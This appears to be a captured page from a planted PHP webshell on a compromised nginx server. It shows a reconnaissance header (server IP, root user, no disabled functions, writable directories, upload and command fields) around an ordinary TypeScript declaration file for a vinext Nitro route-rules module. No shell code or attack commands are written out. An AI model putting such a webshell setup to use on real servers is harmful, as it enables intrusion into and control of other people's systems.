403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.217.172
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/vinext/dist/build/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/vinext/dist/build/nitro-route-rules.d.ts
import { RouteRow } from "./report.js";

//#region src/build/nitro-route-rules.d.ts
type NitroRouteRuleConfig = Record<string, unknown> & {
  swr?: boolean | number;
  cache?: unknown;
  static?: boolean;
  isr?: boolean | number;
  prerender?: boolean;
};
type NitroRouteRules = Record<string, {
  swr: number;
}>;
/**
 * Scans the filesystem for route files and generates Nitro `routeRules` for ISR routes.
 *
 * Note: this duplicates the filesystem scanning that `printBuildReport` also performs.
 * The `nitro.setup` hook runs during Nitro initialization (before the build), while
 * `printBuildReport` runs after the build, so sharing results is non-trivial. This is
 * a future optimization target.
 *
 * Unlike `printBuildReport`, this path does not receive `prerenderResult`, so routes
 * classified as `unknown` by static analysis (which `printBuildReport` might upgrade
 * to `static` via speculative prerender) are skipped here.
 */
declare function collectNitroRouteRules(options: {
  appDir?: string | null;
  pagesDir?: string | null;
  pageExtensions: string[];
}): Promise<NitroRouteRules>;
declare function generateNitroRouteRules(rows: RouteRow[]): NitroRouteRules;
/**
 * Converts vinext's internal `:param` route syntax to Nitro's rou3
 * pattern format. Nitro uses `rou3` for routeRules matching, which
 * supports `*` (single-segment) and `**` (multi-segment) wildcards.
 *
 *   /blog/:slug   -> /blog/*   (single segment)
 *   /docs/:slug+  -> /docs/**  (one or more segments — catch-all)
 *   /docs/:slug*  -> /docs/**  (zero or more segments — optional catch-all)
 *   /about        -> /about    (unchanged)
 *   /:a/:b produces `/*`/`/*` (consecutive single-segment params)
 */
declare function convertToNitroPattern(pattern: string): string;
declare function mergeNitroRouteRules(existingRouteRules: Record<string, NitroRouteRuleConfig> | undefined, generatedRouteRules: NitroRouteRules): {
  routeRules: Record<string, NitroRouteRuleConfig>;
  skippedRoutes: string[];
};
//#endregion
export { NitroRouteRuleConfig, collectNitroRouteRules, convertToNitroPattern, generateNitroRouteRules, mergeNitroRouteRules };
//# sourceMappingURL=nitro-route-rules.d.ts.map

Youez - 2016 - github.com/yon3zu
LinuXploit